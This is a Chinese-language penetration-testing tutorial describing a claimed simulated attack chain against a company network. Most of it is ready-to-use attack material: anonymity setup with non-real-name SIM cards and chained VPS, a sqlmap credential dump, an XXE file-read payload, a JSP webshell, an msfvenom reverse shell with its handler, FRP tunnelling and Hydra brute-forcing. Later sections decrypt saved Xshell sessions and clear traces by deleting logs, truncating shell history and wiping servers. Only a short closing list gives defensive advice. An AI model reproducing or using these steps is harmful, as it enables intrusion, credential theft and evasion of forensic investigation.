揭秘 | 渗透内网工作组的链式艺术
字数 1438 2025-08-07 00:35:01
内网渗透工作组链式攻击技术详解
0x00 前言
本文详细记录了一次模拟实战环境的内网渗透过程,展示了从外网打点到内网漫游的完整攻击链。攻击者通过多种技术手段逐步深入目标网络,最终获取核心系统控制权。本教学文档将分解每个攻击环节的技术要点。
0x01 渗透准备
浏览器安全设置
- 使用最新版Chrome浏览器
- 设置所有权限为"不允许"
- 清理隐私设置和安全性设置
- 安装WebRTC Network Limiter并关闭UDP请求
- 安装可靠的User-Agent混淆插件
- 安装隐私保护插件(如Privacy Badger)
- 安装ModHeader插件用于伪造HTTP头
网络匿名性设置
-
外部网络:
- 购买3-5台不同平台的VPS
- 一台搭建VPN,一台搭建Clash/v2ray代理
- 确保数据传输加密
-
内部网络:
- 使用树莓派作为软路由
- 设置全局跳板增加匿名层
物理环境
- 使用非实名日抛流量卡
- 使用移动SSD安装纯净系统
- 多次复写后安装Linux/MacOS
- 安装虚拟机运行纯净Kali镜像
匿名性检测
推荐检测网站:
- https://whoer.net/
- https://www.astrill.com/
- https://proxy-checker.net/
注意事项
- 避免使用第三方工具
- 避免全量爆破(易触发告警)
- 优先使用原生系统工具
- 采用低感知、少痕迹的渗透方式
0x02 前期打点
信息收集技术
- 子域名枚举:
subfinder -d xxxxxxx.com -o redacted.txt
- IP探测(绕过CDN):
cat redacted.txt|xargs -P 5 -I {} mip {}
- 端口扫描:
masscan -p1-65535 --rate=2000 1.0.0.1/24
- 获取网站标题信息:
cat redacted.txt|httpx -threads 5 -web-server --title --status-code
- 扫描敏感文件:
cat redacted.txt|httpx -threads 20 --title --status-code -path '/robots.txt'
- 文件泄漏扫描:
cat redacted_all.txt|nuclei -rate-limit 50 -tlog request.debug -t ~/nuclei-templates/files/
- Google Dork技巧:
site:xxxxxxx.com inurl:login
site:xxxxxxx.com inurl:upload
site:xxxxxxx.com intext:管理|登陆|邮箱|手机
site:xxxxxxx.com ext:docx|pdf
0x03 边界漏洞利用
3.1 SQL注入利用
发现POST请求存在SQL注入:
POST /xxxx/pay/addTrade HTTP/1.1
body: course_id = 1
使用SQLMAP进行利用:
sqlmap -r redacted.txt --technique T --random-agent --proxy=http://127.0.0.1:8080 --threads=10 -D course -T user -C "username, password" –dump
3.2 Redis未授权访问
发现Redis未授权访问:
redis-cli -h 1.0.0.126
利用方法:
- 写启动项(需重启生效)
- 写Webshell(需知道Web路径)
0x04 命令执行漏洞
XXE漏洞利用
发现XML注入点:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE items [
<!ENTITY test SYSTEM "file:///etc/passwd"> ]>
<items>
<item><serial>1</serial><answer>0</answer><title>&test;</title></item>
<item><serial>2</serial><answer>1</answer><title><![CDATA[2]]></title></item>
<item><serial>3</serial><answer>0</answer><title><![CDATA[3]]></title></item>
<item><serial>4</serial><answer>0</answer><title><![CDATA[4]]></title></item>
</items>
GitLab命令执行
通过GitLab凭据获取Admin权限后,发现命令执行漏洞:
// GitUtilController.java中的漏洞代码
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
WebShell上传
上传JSP WebShell:
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("");
}
%>
0x05 内网代理构建
reGeorg代理
上传proxy.jsp构建隧道:
python neoreg.py -u "https://xxx.com/ueditor/xx/xx/proxy.jsp" -k password -p 9999
MSF上线
生成Linux木马:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.16.252.129 LPORT=443 -f elf > shell.elf
MSF监听配置:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 172.16.252.129
set lport 443
show options
exploit
FRP配置
上传并配置FRP客户端:
[common]
server_addr = x.x.x.x
server_port = 7000
[socks5]
type = tcp
remote_port = 1080
plugin = socks5
0x06 内网漫游技术
数据库爆破
使用Hydra爆破MSSQL:
hydra -L u.txt -P p.txt -M t.txt mssql -vV
Xshell会话解密
解密Xshell保存的会话(版本3.0-5.1):
- 定位会话文件路径:
C:\Users\Administrator\AppData\Roaming\NetSarang\Xshell\Sessions\
- 使用固定密钥解密脚本获取凭据
密码规律分析
发现密码模式为"db+机器编号@xxx",利用此规律扩展攻击面
0x07 痕迹清理
Windows清理
- 避免使用RDP(会留下系统审核日志)
- 检查并清理进程:
tasklist /svc
- 删除落地木马文件
Linux清理
- 清理可疑进程:
ps -ef|grep 'pty'|grep -v 'grep'|awk '{print $2}'|xargs -I {} kill -9 {}
ps -ef|grep '/bin/sh -c cd'|grep -v 'grep'|awk '{print $2}'|xargs -I {} kill -9 {}
- 安全删除文件:
shred -zvu -n 5 ./temp/*.jsp
rm -r ./temp
- 清理历史记录:
sed '120,$d' -i /root/.bash_history
数据库日志清理
- 定位日志文件
- 选择性删除明显痕迹
- 增加溯源难度
VPS清理
彻底格式化VPS:
dd if=/dev/zero of=/dev/raw/raw1 bs=1k count=3000
0x08 总结
完整的内网渗透链式流程:
- 前期准备 -> 2. 边界打点 -> 3. 漏洞利用GetShell ->
- 内网代理构建 -> 5. 内网漫游 -> 6. 痕迹清理 ->
- 反思改进
关键成功因素:
- 全面的信息收集
- 多种漏洞的综合利用
- 对内网架构的快速理解
- 密码规律的发现与利用
- 系统的痕迹清理
防御建议:
- 加强边界防护
- 实施最小权限原则
- 避免密码规律性
- 加强日志监控
- 定期安全审计